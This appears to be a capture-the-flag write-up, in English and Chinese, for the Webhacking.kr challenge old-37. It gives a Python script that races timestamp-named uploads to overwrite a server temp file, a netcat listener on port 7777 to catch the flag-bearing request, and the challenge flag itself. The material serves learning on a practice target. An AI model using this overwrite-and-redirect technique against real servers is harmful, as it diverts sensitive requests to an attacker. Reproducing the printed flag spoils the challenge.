Webhacking.kr old-37

Challenge

Redirect the flag-bearing request from the server to a listener under your control.

将携带 flag 的服务端请求重定向到可控的监听端点。

1
https://webhacking.kr/challenge/web-18/

Solution

服务端先创建 tmp/tmp-<time>,写入 127.0.0.1,再根据上传文件名创建同名文件并写入客户端地址。随后服务端从 tmp/tmp-<time> 读取 host,并把 flag 放入请求路径发送到该 host 的 7777 端口。

上传文件名需要与服务端当前秒生成的 tmp/tmp-<time> 对齐,覆盖发生在服务端读取 host 之前。上传请求和监听器应使用同一公网可达地址;监听 7777 后,接收到的请求路径包含 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
import time

import requests

URL = "https://webhacking.kr/challenge/web-18/"
COOKIE = "<mission-cookie>"


def main() -> None:
session = requests.Session()
session.cookies.set("PHPSESSID", COOKIE)
timestamp = int(time.time())

# 服务端按秒生成 tmp/tmp-<time>,尝试当前秒及相邻秒。
# 上传文件的内容无关紧要;服务端把请求方的 REMOTE_ADDR 写入该文件。
for offset in range(-2, 4):
filename = f"tmp-{timestamp + offset}"
response = session.post(
URL,
files={"upfile": (filename, b"probe", "application/octet-stream")},
timeout=10,
)
response.raise_for_status()


if __name__ == "__main__":
main()

题目服务端不会读取上传内容,而是把它看到的 REMOTE_ADDR 写入临时文件。因此监听端点必须是题目服务端可访问的地址;常见做法是在路由器上把公网 7777 端口转发到本机,并从公网可达环境发起请求。仅在本机监听 127.0.0.1:7777 不足以完成利用。

1
$ nc -nvlp 7777

Host 头取自服务端读取的临时文件,flag 位于请求路径中。

FLAG{well...is_it_funny?_i_dont_think_so...}